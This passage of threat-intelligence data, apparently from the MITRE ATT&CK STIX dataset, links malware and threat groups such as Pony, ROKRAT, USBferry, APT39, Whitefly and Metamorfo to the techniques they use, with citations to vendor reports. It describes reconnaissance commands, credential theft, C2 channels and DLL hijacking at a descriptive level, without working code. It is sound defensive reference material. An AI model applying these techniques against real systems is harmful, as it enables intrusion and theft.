            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can request to delete files.(Citation: NCCGroup RokRat Nov 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--53c8de3e-f862-44d5-be7e-274e14bdd57e",
            "type": "relationship",
            "modified": "2021-03-29T19:50:54.290Z",
            "created": "2020-05-21T17:07:02.401Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can request to upload collected host data and additional files.(Citation: NCCGroup RokRat Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--d1a17f31-c62f-4ec3-9a77-41e6a339a657",
            "type": "relationship",
            "modified": "2021-03-29T19:50:54.308Z",
            "created": "2020-05-21T17:07:02.444Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "external_references": [
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can use <code>netstat</code> and <code>nbtstat</code> to detect active network connections.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--e6cd4568-3c15-4d1d-ab2c-c799141cf34b",
            "type": "relationship",
            "modified": "2020-05-29T13:31:07.909Z",
            "created": "2020-05-21T17:14:56.863Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can use <code>tasklist</code> to gather information about the process running on the infected system.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--bfad86a1-f8bb-45eb-b7b9-5919ca4ef886",
            "type": "relationship",
            "modified": "2020-05-29T13:31:07.914Z",
            "created": "2020-05-21T17:14:56.882Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can use <code>net user</code> to gather information about local accounts.(Citation: TrendMicro Tropic Trooper May 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--0bbf5be7-e1de-419e-85ee-afaa431f60be",
            "type": "relationship",
            "modified": "2020-05-29T13:31:07.950Z",
            "created": "2020-05-21T17:14:56.884Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "external_references": [
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[USBferry](https://attack.mitre.org/software/S0452) can use <code>net view</code> to gather information about remote systems.(Citation: TrendMicro Tropic Trooper May 2020)",
            "relationship_type": "uses",
            "id": "relationship--15a571d1-652c-4148-9dee-12d3b1cbff62",
            "type": "relationship",
            "modified": "2020-05-29T13:31:07.953Z",
            "created": "2020-05-21T17:14:56.887Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has used scripts to delete itself after execution.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--f2810da3-1a6f-4c48-826d-929bde7f7af3",
            "type": "relationship",
            "modified": "2020-05-21T21:31:34.107Z",
            "created": "2020-05-21T21:31:34.107Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has used batch scripts to delete itself after execution.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--404f482d-160d-47ea-9eff-5ca7392eb5b2",
            "type": "relationship",
            "modified": "2020-05-21T21:31:34.133Z",
            "created": "2020-05-21T21:31:34.133Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has used the <code>NetUserEnum</code> function to enumerate local accounts.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--d5ecfa68-2027-4dd5-adf0-1eb82463cfc5",
            "type": "relationship",
            "modified": "2020-05-21T21:31:34.148Z",
            "created": "2020-05-21T21:31:34.148Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has used a small dictionary of common passwords against a collected list of local accounts.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--dd8d683a-0c17-448f-b604-105e130f4b04",
            "type": "relationship",
            "modified": "2020-06-15T16:51:22.108Z",
            "created": "2020-05-21T21:31:34.164Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) can download additional files onto the infected system.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--3ea6e72b-3d19-4864-aebd-cc31dad7d519",
            "type": "relationship",
            "modified": "2020-05-21T21:31:34.256Z",
            "created": "2020-05-21T21:31:34.256Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has sent collected information to the C2 via HTTP POST request.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--a6dd4567-92ac-47e3-9688-2d555c239705",
            "type": "relationship",
            "modified": "2020-05-21T21:31:34.268Z",
            "created": "2020-05-21T21:31:34.268Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has used the Adobe Reader icon for the downloaded file to look more trustworthy.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--237cd65a-e30e-4f8a-9822-f50b818e1491",
            "type": "relationship",
            "modified": "2020-05-21T21:31:34.271Z",
            "created": "2020-05-21T21:31:34.271Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has collected the Service Pack, language, and region information to send to the C2.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--8dd83463-b0cb-46e9-a01a-b22c6780066f",
            "type": "relationship",
            "modified": "2020-06-15T21:31:38.116Z",
            "created": "2020-05-21T21:31:34.273Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has attempted to lure targets into clicking links in spoofed emails from legitimate banks.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--a0b2b4b4-c522-4428-a70b-ad1002417a28",
            "type": "relationship",
            "modified": "2020-06-15T21:31:38.112Z",
            "created": "2020-05-21T21:31:34.281Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has used several Windows functions for various purposes.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--02075984-9bec-465e-8a21-6717b9a1308b",
            "type": "relationship",
            "modified": "2020-05-21T21:31:34.290Z",
            "created": "2020-05-21T21:31:34.290Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) attachments have been delivered via compressed archive files. [Pony](https://attack.mitre.org/software/S0453) also obfuscates the memory flow by adding junk instructions when executing to make analysis more difficult.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
            "id": "relationship--4b2fa1ed-6c4f-4974-a44e-beeadf3a887c",
            "type": "relationship",
            "modified": "2020-06-15T16:51:22.160Z",
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        },
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                {
                    "source_name": "Malwarebytes Pony April 2016",
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                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has delayed execution using a built-in function to avoid detection and analysis.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
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                {
                    "source_name": "Malwarebytes Pony April 2016",
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                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has been delivered via spearphishing emails which contained malicious links.(Citation: Malwarebytes Pony April 2016)\t",
            "relationship_type": "uses",
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                {
                    "source_name": "Malwarebytes Pony April 2016",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/",
                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has attempted to lure targets into downloading an attached executable (ZIP, RAR, or CAB archives) or document (PDF or other MS Office format).(Citation: Malwarebytes Pony April 2016)",
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                {
                    "source_name": "Malwarebytes Pony April 2016",
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                    "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."
                }
            ],
            "description": "[Pony](https://attack.mitre.org/software/S0453) has been delivered via spearphishing attachments.(Citation: Malwarebytes Pony April 2016)",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used the Smartftp Password Decryptor tool to decrypt FTP passwords.(Citation: BitDefender Chafer May 2020)",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used various tools to proxy C2 communications.(Citation: BitDefender Chafer May 2020)",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has created accounts on multiple compromised hosts to perform actions within the network.(Citation: BitDefender Chafer May 2020)",
            "relationship_type": "uses",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                },
                {
                    "source_name": "Symantec Chafer February 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions",
                    "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used post-exploitation tools including RemCom and the Non-sucking Service Manager (NSSM) to execute processes.(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "BitDefender Chafer May 2020",
                    "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/",
                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used the post exploitation tool [CrackMapExec](https://attack.mitre.org/software/S0488) to enumerate network shares.(Citation: BitDefender Chafer May 2020)",
            "relationship_type": "uses",
            "id": "relationship--307e732c-c407-4466-951b-38062bb5e32b",
            "type": "relationship",
            "modified": "2020-07-17T15:58:56.012Z",
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            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "BitDefender Chafer May 2020",
                    "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/",
                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                },
                {
                    "source_name": "Symantec Chafer February 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions",
                    "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used PowerShell to execute malicious code.(Citation: BitDefender Chafer May 2020)(Citation: Symantec Chafer February 2018)",
            "relationship_type": "uses",
            "id": "relationship--0f50a4e4-6ceb-4ead-88ed-147592e0b398",
            "type": "relationship",
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            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "external_references": [
                {
                    "source_name": "BitDefender Chafer May 2020",
                    "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/",
                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has communicated with C2 through files uploaded to and downloaded from DropBox.(Citation: BitDefender Chafer May 2020)",
            "relationship_type": "uses",
            "id": "relationship--5b875be8-3849-46e2-80cb-dec502f78f52",
            "type": "relationship",
            "modified": "2021-04-23T01:30:56.557Z",
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            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "external_references": [
                {
                    "source_name": "BitDefender Chafer May 2020",
                    "url": "https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/",
                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used remote access tools that leverage DNS in communications with C2.(Citation: BitDefender Chafer May 2020)",
            "relationship_type": "uses",
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            "external_references": [
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                    "source_name": "BitDefender Chafer May 2020",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                },
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used a command line utility and a network scanner written in python.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)",
            "relationship_type": "uses",
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                    "source_name": "BitDefender Chafer May 2020",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                },
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used HTTP in communications with C2.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)",
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            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "external_references": [
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                    "source_name": "BitDefender Chafer May 2020",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used different versions of Mimikatz to obtain credentials.(Citation: BitDefender Chafer May 2020)",
            "relationship_type": "uses",
            "id": "relationship--0f93a49a-11c8-49d8-9b58-e7136e6bc850",
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            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "external_references": [
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                    "source_name": "Symantec Chafer February 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions",
                    "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used SMB for lateral movement.(Citation: Symantec Chafer February 2018)",
            "relationship_type": "uses",
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                    "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html",
                    "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."
                },
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                    "description": "Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."
                },
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                }
            ],
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                    "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."
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            ],
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                    "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."
                }
            ],
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                }
            ],
            "description": "[Whitefly](https://attack.mitre.org/groups/G0107) has used an open-source tool to exploit a known Windows privilege escalation vulnerability (CVE-2016-0051) on unpatched computers.(Citation: Symantec Whitefly March 2019)\t",
            "relationship_type": "uses",
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                    "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."
                }
            ],
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                    "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."
                }
            ],
            "description": "[Whitefly](https://attack.mitre.org/groups/G0107) has the ability to download additional tools from the C2.(Citation: Symantec Whitefly March 2019)",
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                    "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."
                }
            ],
            "description": "[Whitefly](https://attack.mitre.org/groups/G0107) has encrypted the payload used for C2.(Citation: Symantec Whitefly March 2019)\t",
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                }
            ],
            "description": "[Whitefly](https://attack.mitre.org/groups/G0107) has named the malicious DLL the same name as DLLs belonging to legitimate software from various security vendors.(Citation: Symantec Whitefly March 2019)",
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                }
            ],
            "description": "[Whitefly](https://attack.mitre.org/groups/G0107) has used search order hijacking to run the loader Vcrodat.(Citation: Symantec Whitefly March 2019)\t",
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                },
                {
                    "source_name": "Fortinet Metamorfo Feb 2020",
                    "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions",
                    "description": "Zhang, X.. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."
                },
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                    "source_name": "FireEye Metamorfo Apr 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has searched the Program Files directories for specific folders and has searched for strings related to its mutexes.(Citation: Medium Metamorfo Apr 2020)(Citation: Fortinet Metamorfo Feb 2020)(Citation: FireEye Metamorfo Apr 2018) ",
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has injected a malicious DLL into the Windows Media Player process (wmplayer.exe).(Citation: Medium Metamorfo Apr 2020)",
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                    "source_name": "Medium Metamorfo Apr 2020",
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                },
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                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."
                }
            ],
